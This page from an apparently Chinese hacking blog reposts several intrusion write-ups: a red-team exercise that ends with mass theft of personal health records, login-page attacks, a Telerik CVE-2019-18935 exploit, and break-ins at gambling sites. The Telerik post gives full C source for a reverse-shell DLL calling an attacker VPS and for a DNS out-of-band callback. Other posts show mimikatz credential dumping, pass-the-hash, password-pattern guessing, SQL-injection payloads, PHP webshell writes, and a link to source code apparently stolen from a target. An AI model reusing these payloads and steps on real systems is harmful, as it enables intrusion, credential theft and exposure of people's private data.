Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86399294

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

前言

前段时间参加了一场攻防演练,使用常规漏洞尝试未果后,想到不少师傅分享过从JS中寻找突破的文章,于是硬着头皮刚起了JS,最终打开了内网入口获取了靶标权限和个人信息。在此分享一下过程。

声明:本次演练中,所有测试设备均由主办方提供,所有流量均有留档可审计,所有操作均在授权下完成,所有数据在结束后均已安全销毁。

通过JS打点

开局只有一个登录页面,无法枚举用户名并且尝试爆破未果。

1140t4fmazo13914.jpg

利用bp抓包查看JS相关文件发现存在sql语句

nv4sevwjqry13915.jpg

跟踪comboxsql变量,发现定义了一个action

t5nr25q05gg13917.jpg

搜索这个action类路径,发现访问方式是通过url拼接

knacehff5i413918.jpg

将该路径进行拼接,并将参数输入sql语句,测试发现该数据库为mssql数据库,可通过xp_cmdshell来执行系统命令。

1fgf5objryh13919.jpg

shellcodeloader上线CS

执行system权限后,打算直接使用远程下载上线免杀cs,但是未上线成功,查看进程发现有360企业云,触发拦截了执行exe行为。

ppp5izyc5iz13921.jpg

换种思路,通过下载哥斯拉webshell后,利用哥斯拉的shellcodeloader功能,加载自己CS木马的shellcode可上线成功。

abwboyy0mjx13922.jpg

解密数据库配置信息

因执行任何exe文件时,均提示拒绝访问,无法进行文件的运行,通过搜索本机配置文件发现了数据库的账号密码,但是数据库密码加密了

ez2bir4nmb113924.jpg

通过查找历史网站备份文件,发现的该系统早期配置文件并未做数据库密码加密配置,测试发现可以连接数据库。

timza5rxglj13926.jpg

另外查找本系统数据库备份文件时,意外发现了该服务器部署的另一套业务系统,并且数据库配置文件中的账号、密码和数据库ip同样也为加密存储。

fgc131uatzh13928.jpg


通过查找该系统特征发现为SiteServer CMS系统。从网上搜索发现了该cms的专用加解密工具 SiteServer CLI

02lgphlvaoq13930.jpg

运行后也可获取数据库明文配置信息

cs开启代理进行连接,测试连接成功

4cz0cvtu3jt13931.jpg

不过同样发现该数据库服务器也无法执行exe程序,无法运行mimikatz读取管理员哈希,无法建立用户,无法上传tscan进行内网扫描,在这尬住了。最后使用cs插件的信息探测,可探测内网网段资产。

hzhe4pkx4hp13934.jpg

使用17010插件攻击失败

hottuejarpl13935.jpg

使用proxychains配合msf获取了PC权限Image

5wrv4oafgd113937.jpg

使用mimikaz读取管理员密码开启远程桌面发现无法登录限制

b2n4w5ftij413939.jpg

msf加载mimikaz模块


ts::multirdp

获取内网权限

建立新用户,进入个人pc电脑

kamz25q2wpq13941.jpg

通过该PC机为据点,上传TideFinger和Tscan搭配进行内网扫描,在这有必要介绍下该两款工具。

Go语言版的TideFinger指纹识别功能: 1、加入Dismap、Vscan、Kscan、fofa、ServerScan等多个指纹 2、并加入了ServerScan的非web服务指纹,优化了资产发现的协程并发效率。3、显示效果借鉴了Dismap,在效率和指纹覆盖面方面应该是目前较高的了

ys0ciwxypis13944.jpg

Go语言版的Tscan功能: 1、Tscan为Tide安全团队共同维护的内外网资产扫描工具 2、基础代码随Fscan更新进行迭代 3、与潮声POC漏洞检测平台联动,团队成员每月会编写近期爆出的poc和定期收集整理网上已发布的poc检测模块最后进行更新发布。


pett2gvi5jl13945.jpg

扫描内网网段后,接下来是漏洞验证的过程,瞄了一眼结果没有发现能直接getshell的洞,不过指纹探测出了内网其中一ip开放了2222端口为rmi。

frzjzfl3ii113947.jpgImage

虽然拿到了该服务器权限,但是通过对本服务器进行信息搜集时,并未发现其它相关的账号密码信息。

SAM文件获取用户hash

使用mimikaz中sekurlsa::logonpasswords命令尝试读取进程lsass的信息来获取当前登录用户的密码信息,输出结果发现没有administrator等用户信息(主要是因为拿权限上cs时,估计触发了杀软策略导致服务器重启了),然后使用query user发现管理员用户不在线,故无法直接通过内存读取管理员hash。使用mimikaz读取SAM文件中的hash。


privilege::debug
#提升至system
token::elevate
#抓取sam
lsadump::sam

hash传递

拿到NTLM Hash后发现无法从在线网站直接解密出明文密码 通过获取的NTLM进行hash传递获取四台服务器权限。

s4b0nzucc1n13952.jpg

接下来利用hash登录该服务器,继续进行信息搜集。在其中一台服务器内发现了套娃远程桌面,并且为03系统

bcjae1tfols13954.jpg

获取服务器密码规律

通过mimikaz读取该密码(在KB2871997之前,Mimikatz可以直接抓取明文密码)


* Domain : WIN-LAOLOVGMF
* Password : xxxxxy401*1009

* Username : Administrator
* Domain : SD-68QDNY80KE
* Password : xxxxxy101*2006

* Username : SDAdministrator
* Domain : SD-93O4N5O2UD
* Password : xxxxxy501*2003

以及获取数据库配置密码


            <add key="dbDBName" value="REPSDU"/>
            <add key="dbUserName" value="sa"/>
            <add key="dbUserPwd" value="sdxxxxxy1108"/>
            <add key="CrystalImageCleaner-AutoStart" value="true"/>
            <add key="CrystalImageCleaner-Sleep" value="60000"/>
            <add key="CrystalImageCleaner-Age" value="120000"/>
        </appSettings>

通过观察发现服务器密码命名规律,猜测为楼层+房间号组合结尾,数据库服务器以房间号结尾。通过组合变形密码后缀,进行内网横向爆破。可获得大量SSH和RDP服务器

ju0wzhba0iy13957.jpgImage

通过此方式拿到了靶标服务器权限。

hpkdaapz1bo13962.jpg

接下来寻找敏感数据,通过对数据库搜寻发现大部分的数据信息已被脱敏存储。

ibfdwmdcznj13966.jpg

翻看了获取的数据库里涉及业务的公民个人信息发现全被脱敏存储了,企业内部的一些系统登录人员个人信息倒是没有脱敏存储,但是数量较少。

获取个人信息

只好换种思路,打算矛头指向办公区电脑(因一些企业、学校和医院之类的个人信息有时候会存储在个人电脑excel中,方便整理使用,特别疫情时期人员的核酸信息) 继续使用TideFinger详细的搜集内网资产,发现了内网存在oa系统。通过收集数据库中含有管理员、高层、企管专员、总裁、信息中心和主任相关的工号、身份证号、姓名、密码、生日等个人信息。

hhrsmm5wpzx13969.jpgt4hu123nbfh13973.jpg3pxj3dx4xkt13977.jpg

尝试发现可成功登录oa系统,即使密码错误的账号,也可通过忘记密码重置密码(重置密码需要填写身份证+工号)

opbyv2lgnhw13979.jpg

最终在oa中发现了2020-2022年的核酸检测名单等,其中包括各地分公司以及各厂区人员信息几十万余条。

3kfp1qkbjx413982.jpg

总结

随着近些年攻防演练的开展,防守单位对于安全的投入也越来越多,特别是安全防护、安全设备以及蓝队防守人员的加入,使得打点变的尤为困难。所以还是需要不断学习师傅们的思路,从而提高自己的姿势水平呀。



原文链接:https://mp.weixin.qq.com/s/KrbCMEn_8C7XcsHxGSwnIA

在渗透测试过程中,碰见的web登录页面特别多,那么我们应该用什么样的思路去进行一个测试呢,下面看看我的一些测试师思路ba


测试思路

当看见一个这样的web登录框时,会怎么样进行一个渗透呢

njgyxsbbbxn15111.jpg

弱口令

我们可以看见 这个登录时并没有存在一个验证码,就会存在一个爆破问题 那么一般爆破的用户名又会存在那些呢

1.admin
2.test
3.root

这里也可以去查找对应系统的的操作手测,收集管理账号,增加爆破机率

在这里进行了爆破,并没有结果


目录扫描

我们可以去扫描目录 可能一些被扫描出来的目录未做鉴权 可直接访问

jodxygj0dhg15113.png


JS文件未授权

上面方法都无果后,我们接下来去看下JS文件

发现在index.js中存在一个/SystemMng/Index的url

我们尝试拼接访问

ncdi4ufubnq15115.jpg

拼接进来后 发现什么都没有 是不是准备放弃了

dthbggvsktz15117.jpg

别急 我们再看看JS 是不是发现惊喜了

dqggfl05ttx15118.jpg

拼接几个危害都挺大的 拿个可以继续利用的给大家

oixxzwt5nir15121.jpg


组合拳弱口令爆破

到这里我们拿到了管理员的账号以及电话了,也可以直接重置他们密码了(拿正确的账号再去尝试爆破)

可以看见 password被加密了 发现为m5 我们利用burp自带的转码爆破即可

ihypxsvk5cy15123.jpg

爆破成功 账号比较复杂 在没前面的操作下拿不到用户名

zgwmvoc04ph15126.jpg

登录成功

yd214qijv5p15128.jpg


登录返回包测试

随意输入登录的账号密码登录抓包

修改他的鉴权数据后

g2peiydaj3r15131.jpg

修改后发现跳转的还无数据 JS中还是存在泄露

4ijyhjbzv0s15133.jpg


利用方法一样


越权

现在已经拿到了普通用户的账号密码了,那我们后面应该去尝试一个越权 垂直越权 或者 平行越权

拿爆破的号进行登录抓包处理,这个地方师傅们在挖掘的时候可以多看几遍数据包以及返回包

开始在构造时 以为是校验ID 后面多测试几轮下来,发现只会去识别code参数

2arn2scvvtl15134.jpg

从未授权到拿到网站的所有权限

s2kw24gd1h115135.jpg


原文连接: https://xz.aliyun.com/t/11612
      最近挖了一些漏洞。虽然重复了,但是有参考价值。这边给大家分享下。

  漏洞重复还是很难受的,转念一想,人生从不是事事如人意的,漏洞重复忽略,不代表失败。先来后到很重要,出场顺序很重要。

  1.某站rce 忽略理由:不在范围内 作者神父&me 感谢神父带我

  测试域名:https://***.***:8089/

  同时存在CVE-2017-11357 CVE-2019-18935 CVE-2017-9248漏洞

  漏洞利用exp下载地址:

  https://github.com/noperator/CVE-2019-18935
  https://github.com/noperator/CVE-2019-18935.git

  延迟11s:sleep 11s:

  测试代码: test.c

  

复制代码
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        //Sleep(10000);  // Time interval in milliseconds.
        Sleep(11000);
    return TRUE;
}


test.c编译成amd642.dll文件
复制代码

 

运行:
python CVE-2019-18935.py -v 2017.1.228 -p payloads\amd642.dll -u https://***.****:8089/Telerik.Web.UI.WebResource.axd?type=rau

 

ltgiots14ep14745.png

 

 

 

  p5m2bolqegc14746.png

 

 

 

 第一步验证成功,成功延迟11s左右,原始请求2s

  测试命令执行:

  

复制代码
#include <windows.h>
#include <stdio.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    if (fdwReason == DLL_PROCESS_ATTACH)
        system("cmd.exe /c nslookup rsmwe.dnslog.cn");
system("cmd.exe /c nslookup 2pstpep28u6vl9qrw0lhjwsr9if83x.burpcollaborator.net");
    return TRUE;
}

test.c编译成amd642.dll文件

 
复制代码

 

再次运行查看dnslog:

 13odfbagweg14749.png

 

 

 

 

 

直接反弹shell,通用exp:

复制代码
#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib, "ws2_32")

#define HOST "{vps ip}"
#define PORT {port}

WSADATA wsaData;
SOCKET Winsock;
SOCKET Sock;
struct sockaddr_in hax;
char aip_addr[16];
STARTUPINFO ini_processo;
PROCESS_INFORMATION processo_info;

// Adapted from https://github.com/infoskirmish/Window-Tools/blob/master/Simple%20Reverse%20Shell/shell.c
void ReverseShell()
{
    WSAStartup(MAKEWORD(2, 2), &wsaData);
    Winsock=WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
    
    struct hostent *host = gethostbyname(HOST);
    strcpy(aip_addr, inet_ntoa(*((struct in_addr *)host->h_addr)));
    
    hax.sin_family = AF_INET;
    hax.sin_port = htons(PORT);
    hax.sin_addr.s_addr = inet_addr(aip_addr);
    
    WSAConnect(Winsock, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
    if (WSAGetLastError() == 0) {

        memset(&ini_processo, 0, sizeof(ini_processo));

        ini_processo.cb = sizeof(ini_processo);
        ini_processo.dwFlags = STARTF_USESTDHANDLES;
        ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;

        char *myArray[4] = { "cm", "d.e", "x", "e" };
        char command[8] = "";
        snprintf(command, sizeof(command), "%s%s%s%s", myArray[0], myArray[1], myArray[2], myArray[3]);
        CreateProcess(NULL, command, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info);
    }
}

DWORD WINAPI MainThread(LPVOID lpParam)
{
    ReverseShell();
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved) 
{
    HANDLE hThread;

    if (fdwReason == DLL_PROCESS_ATTACH)
        hThread = CreateThread(0, 0, MainThread, 0, 0, 0);

    return TRUE;
}
复制代码

 

权限不低,是域用户:

gqlfojaopq014752.png

 

 

 

  2.sql注入:

   背景介绍:朋友发来一个注入,这个注入还挺棘手的,有xx云的waf,并且后端过滤了逗号,单双引号以及常规函数等。  

  我的思路很简单,十六进制。regexp函数即可,我觉得应该还有别的思路

(case+when+current_user+regexp+0x*+then+1+else+2*1e308+end)

  这样就把数据库user搞出来了。

  这里我想说下case when这个语句,case when语句比我们想象的要灵活的多,这里做下笔记说下:

  最常见的:

  q1k2wlkumbe14753.png

 

 

  说点不常见的,我写两个demo,可以一直套娃下去:

case 1=1 when 2=2 then 1=1 else 1/0 end

 

 

 

 

  fjmlkh30fjv14755.png

 

 

 

 

 

  w3ve3mr3por14756.png

 

 

 

 

 

  3.url跳转+身份认证token泄漏:

  我昨天晚上挖的,忽略理由是重复。有时候对某些厂商还挺无语的,漏洞在那边,不修复。让我有种错觉,发现漏洞,有种踩到蜜罐的错觉。

  资产范围是:vc-*.xxx.com

  其实遇到这种范围,我还挺开心的,因为我可以Fuzz下,简单Fuzz了下,发现不少资产。

  挨个打开看,访问:vc-ss.xxx.com,访问站点,直接跳转要求登录。

  我不是神仙,我也没账号,我看着js,没发现可访问的路径信息。

  开始fuzz,知道是php就很好办了。使用ffuf跑php/api字典,跑到了一个接口开发文档/api/***.html

  接口开发文档设计本意是好的,但是大多数的接口开发文档上的截图信息/接口信息都可能有被二次漏洞利用风险。虽然截图信息都是明文,但是很不幸的是测试了下,发现几乎所有的接口,直接访问都是401,需要身份认证。些许无奈了,想放弃的时候,总是告诉自己,坚持看完看仔细。继续盯着接口文档一直翻来翻去,发现了一个身份token泄漏和其他一些安全漏洞。

  整理漏洞提交了,早上就收到了重复的消息:

  2vqyg4amrco14757.png

 

 



  原文链接: https://www.cnblogs.com/piaomiaohongchen/p/17130283.html

HireHackking

记一次bc站实战

初遇难题

发现一个bQc站先尝试打一下主站图片先尝试目录扫描看能不能发现一些后台之类的,这里我用的是dirsearch。图片但是很遗憾,没有什么有价值的目录,连后台也扫不出来,但是这是在意料之中,毕竟大部分菠菜网站防护都做的挺好的。接下里尝试注册一个账号看看图片尝试注入,发现加密,不会逆向的我只能暂时放弃。图片注册成功后发现一个上传接口图片上传成功但是查看后发现他是以id的形式存储,无法形成上传漏洞放弃。图片这个网站拿不下来转换思路尝试对整个ip进行渗透,首先要对这个ip的全端口进行扫描,尽量获取到比较全的信息。获得了两个web页面。rocketmq,这个有最新版漏洞爆出来尝试图片找到工具尝试攻击,但是失败不能执行命令。图片还有另外一个登录界面图片发现存在shiro框架图片尝试爆破但是未发现秘钥。图片

柳暗花明

突破点:他有一个8888端口,访问都会跳转非法ip图片看了一下burp发现他会访问登录页面再进行跳转图片眉头一皱发现事情并不简单,在ip后随便加了一点,导致其报错,发现其使用的是spring框架。图片Actuator 是 Spring Boot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。Actuator 的核心是端点 Endpoint,它用来监视应用程序及交互,spring-boot-actuator 中已经内置了非常多的 Endpoint(health、info、beans、metrics、httptrace、shutdown等等),同时也允许我们自己扩展自己的 Endpoints。每个 Endpoint 都可以启用和禁用。要远程访问 Endpoint,还必须通过 JMX 或 HTTP 进行暴露,大部分应用选择HTTP。



路径是否默认启用功能描述
/auditevents显示当前应用程序的审计事件信息
/beans显示一个应用中所有Spring Beans的完整列表
/conditions显示配置类和自动配置类的状态及它们被应用或未被应用的原因
/configprops显示一个所有@ConfigurationProperties的集合列表
/env显示来自Spring的 ConfigurableEnvironment的属性
/flyway显示数据库迁移路径(如果存在)
/health显示应用的健康信息(当使用一个未认证连接访问时显示一个简单的’status’,使用认证连接访问则显示全部信息详情)
/info显示任意的应用信息
/liquibase展示任何Liquibase数据库迁移路径(如果存在)
/metrics展示当前应用的metrics信息
/mappings显示一个所有@RequestMapping路径的集合列表
/scheduledtasks显示应用程序中的计划任务
/sessions允许从Spring会话支持的会话存储中检索和删除用户会话
/shutdown允许应用以优雅的方式关闭(默认情况下不启用)
/threaddump执行一个线程dump
/heapdump返回一个GZip压缩的hprof堆dump文件
/jolokia通过HTTP暴露JMX beans(当Jolokia在类路径上时,WebFlux不可用)
/logfile返回日志文件内容(如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息
/prometheus以可以被Prometheus服务器抓取的格式显示metrics信息
直接用spring收集好的目录进行目录扫描。

actuator/auditLog
actuator/auditevents
actuator/autoconfig
actuator/beans
actuator/caches
actuator/conditions
actuator/configurationMetadata
actuator/configprops
actuator/dump
actuator/env
actuator/events
actuator/exportRegisteredServices
actuator/features
actuator/flyway
actuator/health
actuator/heapdump
actuator/healthcheck
actuator/heapdump
actuator/httptrace
actuator/hystrix.stream
actuator/info
actuator/integrationgraph
actuator/jolokia
actuator/logfile
actuator/loggers
actuator/loggingConfig
actuator/liquibase
actuator/metrics
actuator/mappings
actuator/scheduledtasks
actuator/swagger-ui.html
actuator/prometheus
actuator/refresh
actuator/registeredServices
actuator/releaseAttributes
actuator/resolveAttributes
actuator/scheduledtasks
actuator/sessions
actuator/springWebflow
actuator/shutdown
actuator/sso
actuator/ssoSessions
actuator/statistics
actuator/status
actuator/threaddump
actuator/trace
auditevents
autoconfig
api.html
api/index.html
api/swagger-ui.html
api/v2/api-docs
api-docs
beans
caches
cloudfoundryapplication
conditions
configprops
distv2/index.html
docs
druid/index.html
druid/login.html
druid/websession.html
dubbo-provider/distv2/index.html
dump
entity/all
env
env/(name)
eureka
flyway
gateway/actuator
gateway/actuator/auditevents
gateway/actuator/beans
gateway/actuator/conditions
gateway/actuator/configprops
gateway/actuator/env
gateway/actuator/health
gateway/actuator/heapdump
gateway/actuator/httptrace
gateway/actuator/hystrix.stream
gateway/actuator/info
gateway/actuator/jolokia
gateway/actuator/logfile
gateway/actuator/loggers
gateway/actuator/mappings
gateway/actuator/metrics
gateway/actuator/scheduledtasks
gateway/actuator/swagger-ui.html
gateway/actuator/threaddump
gateway/actuator/trace
health
heapdump
heapdump.json
httptrace
hystrix
hystrix.stream
info
integrationgraph
jolokia
jolokia/list
liquibase
list
logfile
loggers
liquibase
metrics
mappings
monitor
prometheus
refresh
scheduledtasks
sessions
shutdown
spring-security-oauth-resource/swagger-ui.html
spring-security-rest/api/swagger-ui.html
static/swagger.json
sw/swagger-ui.html
swagger
swagger/codes
swagger/index.html
swagger/static/index.html
swagger/swagger-ui.html
swagger-dubbo/api-docs
swagger-ui
swagger-ui.html
swagger-ui/html
swagger-ui/index.html
system/druid/index.html
threaddump
template/swagger-ui.html
trace
user/swagger-ui.html
version
v1.1/swagger-ui.html
v1.2/swagger-ui.html
v1.3/swagger-ui.html
v1.4/swagger-ui.html
v1.5/swagger-ui.html
v1.6/swagger-ui.html
v1.7/swagger-ui.html
/v1.8/swagger-ui.html
/v1.9/swagger-ui.html
/v2.0/swagger-ui.html
v2.1/swagger-ui.html
v2.2/swagger-ui.html
v2.3/swagger-ui.html
v2/swagger.json
webpage/system/druid/index.html
%20/swagger-ui.html
开始扫描图片并发现其中存在heapdump,下载下来。Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照。可以通过Eclipse MemoryAnalyzer工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息,比如redis密码,mysql数据库账号和密码。这里我用的是whwlsfb师傅的JDumpSpider
https://github.com/whwlsfb/JDumpSpider图片成功获取shiro的key图片打入内存马。图片获取管理员权限图片
转自原文链接地址: https://mp.weixin.qq.com/s/-ZdaVuqVmsw9PCHYDYuABA

0x00  信息搜集

朋友给了我一个站,算一个比较大的bc,主站看了一下,没有入口,就换了他的一个推广平台

图片

然后首先大致扫了一下目录,希望可以看见一些有用的东西。
这个时候我可以推荐大家一个接口,可以快速大致看看他重要的文件
https://scan.top15.cn/web/infoleak
例如探针,网站源码是否打包,很明显我没有扫出来,然后给大家看看扫描结果。

图片

config.inc.php根据经验看应该是数据库的配置文件,但是大小为0B,试探性的访问一下,果然什么都没有
upload访问就是403,但是根据经验还是会再去扫一下它,说不定是什么fck编辑器呢,也很遗憾,啥子都没有扫到。
/index.php/login/ ,大小只有2kb,也根本不是后台,有点失落。
端口的话也只有这一个web资产,只好看一下他的网站功能了。
然后点击了一下查询,希望可以在这里找找注入。

0x01  后台注入

图片

果然,有注入,剩下的就是找后台了。

图片

查看当前数据库,and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--

图片

这里记一下踩坑,account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--('
这是完整的payload,最开始我的payload为account=1') and (extractvalue(1,concat(0x7e,(select database()),0x7e)))--+。

tm始终不出数据,我以为他妈有过滤。

还一个一个fuzzing。

后面想了想会不会注释闭合了还会追加').果然,闭合以后出了数据。

然后有用sqlmap跑数据,没想到tm的跑不出来。

只有自己重新构造sqlmap语句
python2 sqlmap.py -r 1.txt --prefix "')" --suffix "--('" --level 3 --tamper=space2plus --skip-urlencode
终于跑出来了。

后面看了一下payload,每次跑都会把空格编译为20%,url编码了以后payload就不生效了,就用了skip-urlencode这个参数。

0x02  注入点

惊喜又来了,看了一下priv,真的,这么多mysql注入,终于有了一个比较高的权限。

图片

我直接账号密码都没有看,刚刚报错除了绝对路径,这不--os-shell?
然后查看payload的时候,发现了hws,我就感觉不简单了,兄弟们。

图片

果然,写不进去,后面加了--hex也是写不进去的。

那没事,还有--sql-shell。

用堆叠写,虽然我知道大概率写不进去,但是还是要尝试一下,说不定呢。

渗透tm就是玄学。

图片

查看了一下priv,不是null,又给了我一丝丝希望,写,先写一个txt看看。

select 1 into outfile 'D:/wwwroot/wnshd.com_22fqiz/web/1.txt'

图片

然后去网站看,并没有写进去,真的太难了。

就只剩下--file-write了,这个就不贴图了,依然还是没有拿下。

无奈,只有查看后台账号密码。

图片

账号密码收集完了,就去找后台,但是很遗憾,还是没有找到,都接近绝望了。

这tm都送到嘴里了,怎么还是拿不下,我tm就感觉是sqlmap的问题,我有重新弄了一次上面的步骤,我明白了,sqlmap可能会骗你,但是hws不会,你写不进去,就是写不进去。

算了还是换一个思路吧,报错不是爆了这个目录吗?

wolsoowpppps,我在回去看看,不出意外的403,wolsoowpppps/admin,wolsoowpppps/login。

都没有东西,dirsearch一扫,tm还是没有。

0x03  写马不成功

他报错不是web/wolsoowpppps这个路径吗,会不会是我绝对路径有问题,我访问

图片

怎么也是403,那只能说明这是一个没有扫出来的目录,尼玛的,我tm感觉这里有东西。

结果一扫,图就不贴了,还是什么也没有。

哈哈哈哈。

有白高兴一场。

但是我始终觉得这个wolsoowpppps目录有问题,fuzzing一下,fuzzing出了web,然后再扫web,好家伙,出了一个temp。

php访问,一个大马。

这不快结素了吗?

图片

然后爆破,最终,成功爆破进来,上传蚁键,拿下。

这个大马看起也很熟悉呀。

图片

但是hws还是真的猛。

命令无法执行,用了插件,还有那个.so的那个方法,都没有弄出来。

图片

这里感谢一下黄哥,他说的护卫神主要是asp的,传一个冰蝎的马就可以了。

图片

然后想了很多办法,这个权限提不下来,我相信xz的大佬应该会知道吧,我说一说情况。

目前只有d盘的查看修改权限,exe无法执行,意味着Ms系列用不起。

土豆一族传不上去。

iis秒不掉。

杀软是火绒,护卫神,安全狗。

向上cs的,但是dll和Mshta执行就卡死,目前暂时不知道怎么提权,想继续扩展,但是提权这一方面接触的少,还望先知的给位表哥们给给思路。


0x04 拿下后台

最后,我想了想,那个大马是怎么传上去的。
对方可能也是注入起手->在一处找到了xss(我也找到了,但是由于客服是10月份下线的,已经换了站了,导致我的xss一直打不过来)->找到后台->由于是tp3.2.3的站,后台的rce(tp3.2.3缓存getshell)->上大马。
这是xss的位置

图片

这个是后台

图片

这个站虽然拿的比价坎坷,但是思路都是很简单的,还是多学习吧。




转载于原文链接: https://mp.weixin.qq.com/s/qNdLNaPNK_485uAPILQXRQhttps://xz.aliyun.com/t/8491

做了不少qp(棋牌),BC渗透了,通宵了2个晚上干了几个盘子,简略的说下过程,做一下总结。
首先说一下qp, 以我的渗透成功案例来说的话首先信息收集必不可少的,qp的特点是什么呢?
他的后台会在服务器域名的后面以不同的端口形式架设 如图:

图片

关于端口可以发现,基础东西你们都懂。
切入点:

在app里面抓包,查找邮箱,充值,的地方寻找sql注入或者意见反馈的位置XSS
有一种情况是抓包显示127.0.0.1的 抓不到包的情况,这种情况多于大盘子,它不一定走的是TCP UDP协议。可以参考 T-ice 表哥说的 Proxifier全局代理
有了后台之后可以目录fuzz一下,有些管理员会有备份的习惯没准能有新发现。
相对来说qp还是挺简单的。  

那么来说说BC吧,看个昨晚的渗透的案例。

图片

基本上大型的BC盘子都是各种防护+cdn 标配,毕竟别人赚了那么多钱也不在乎这点设备钱。。。。

图片

图片

注册了个号 发现没地方能打XSS的。。。。。作罢
因为这种大盘子服务一般是挺到位的,牌面这块方方面面给你整的很高大上,什么导航啊,什么积分商城啊。。

乱七八糟的应有具有,在他主站一个VIP查询页面确定了一处sql注入,而且是thinkphp的框架

图片

图片

图片

thinkphp3.2.3的 ,因为有CDN不知道真实IP,所以后台是个很麻烦的事情,本想着看看数据库里面的log有没有啥发现

图片

图片

没啥鸟用。。尝试读取日志文件,没有。

图片

最后读取配置文件确定了一个很脑残的事情。。。

可能通宵了之后人的脑子有点僵。

我给忘了这种BC后台肯定都是分离的。。。。嗨。少熬夜。
于是。。我就以以往的经验手动的在主域名前面加上了一些可能的参数。。admin.XXXX.com   agdw.xxxxx.com   ag.xxxxx.com   嗯。。。如图:

图片

这套程序的盘子大概100多个吧,几乎都是一模一样的,随便找了几个

图片

后台有个地方任意上传。结果。。

图片

被杀了还是咋回事。。
做个总结:
像这类盘子都是包网的,大多数都是java开发的。那么BC盘子的切入点是哪些呢
以我渗透成功的案例来总结:

1. XSS
2.注入
3.历史遗留的资产

主要还是信息收集,和耐心。

其实现在注入还是挺多的,只是很难发现和识别了。

同时还需要和各种防护对抗,有时候其实是个注入只是被防护拦了不确定的情况下很多人就放弃。

这种菠菜类的网站, 大多数服务器都是防范级别很高的, 都是包网 资产很多 而且前后端都是分离的 

有时候 ,没有思路的时候 可以从运维方面下手 ,有的运维安全意识不是很高 ,还可以从C段入手 ,因为有的菠菜资产分布在几个C段 主站上面 肯定很少漏洞, 基本上可以说没有  ,还有就是从游戏接口入手 或者游戏逻辑入手, 个人一点点粗见。

除过上述作者总结的几点,其他常见的切入点包括弱口令、代码审计。



转载于原文链接: https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247486411&idx=1&sn=e5227a9f252f797bf170353d18222d6a&chksm=ce67a152f9102844551cf537356b85a6920abb084d5c6a26f7f8aea6870f51208782ac246ee2&scene=21#wechat_redirect


0x00  偶遇一棋牌网站

1、简单的抓包分析一下

图片

图片


2、用户名后边加单引号直接报错了,闭合之后又正常了,稳稳地sql注入一枚。

3、通过测试没有发现任何安全设备,直接上sqlmap。

4、过程就不啰嗦了,直接得到下边数据

current-user:  developer@%
select @@BASEDIR: '/usr/'
select USER(): 'developer@121.x.x.x'
select DATABASE(): 'edc'
select SYSTEM_USER(): 'developer@121.x.x.x'
select @@CHARACTER_SETS_DIR: '/usr/share/mysql/charsets/'
select @@CHARACTER_SET_CLIENT: 'utf8'
select @@DATADIR: '/var/lib/mysql/'
select @@CHARACTER_SET_SERVER: 'latin1'

5、通过一波信息收集,当前用户权限很低,有用的信息少得可怜

6、对目标端口进行扫描,发现端口开了挺多

图片

7、打开80端口没有任何页面

图片

888 端口  是apache默认首页  得到绝对路径 /var/www/html/
9090 端口 是赌博站管理登录地址
9091 端口 是赌博站会员登录地址

图片

图片

8、经过测试,这个两个页面没有可利用的漏洞

0x01  突破点

1、通过对目录进行扫描发现一个报错页面,得到一个注入点还得到一个info.php

图片

图片

2、拿到数据库root权限

图片

db_test  当前数据库
[19:54:48] [INFO] resumed: 'root'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'localhost'
[19:54:48] [INFO] resumed: 'root'@'127.0.0.1'
[19:54:48] [INFO] resumed: 'syncopy'@'222.xxx.xxx.xxx'
[19:54:48] [INFO] resumed: 'mlh'@'localhost'
[19:54:48] [INFO] resumed: 'developer'@'%'
[19:54:48] [INFO] resumed: 'mlh'@'%'
[19:54:48] [INFO] resumed: 'edc'@'%'
[19:54:48] [INFO] resumed: '6hc_nav'@'%'

图片

0x02  尝试写入shell

1、通过sql语句写入shell却没有成功,只有在支持堆叠查询时,才能执行非查询SQL语句

sqlmap --sql-shell
select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/25u_ft/1.php"

图片

2、换一种方式写入

--file-write "/localhost/shell.php" --file-dest "/var/www/html/25u_ft/test.php"

3、完全写不进去,发现是没有写入权限,只有读取权限

--file-read "/var/www/html/25u_ft/info.php"

4、可以正常读取,尝试读取配置文件,至此走上了一条错误之路

图片

图片

(1)读取了几个配置文件,并没有什么思路

(2)回头去注入管理员的密码,尝试从后台获取shell

-D "10fenft" -T "g_user" -C "g_name,g_password" --dump

图片

(3)成功登录后台

图片

图片

(4)后台简陋的一批,没有上传功能

  0x03  getshell

1、该有的条件都有了就是拿不到shell,很难受。

 2、在各种渠道查询这个ip,突然发现以前有域名解析到这里

图片


3、太好了,域名还可以正常访问,是一个论坛

图片


4、竟然是thinkphp,而且还爆出了绝对路径

5、重复之前的写入操作,一下就成功了,哈哈哈哈

图片

0x04  打包源码

1、直接链接shell

图片


2、权限不高,但是丝毫不影响我打包源码

图片

0x05  总结

发现还要很多同类型的站点
源码放在下边了

https://xzfile.aliyuncs.com/upload/affix/20210513165936-8aadc29a-b3c9-1.rar

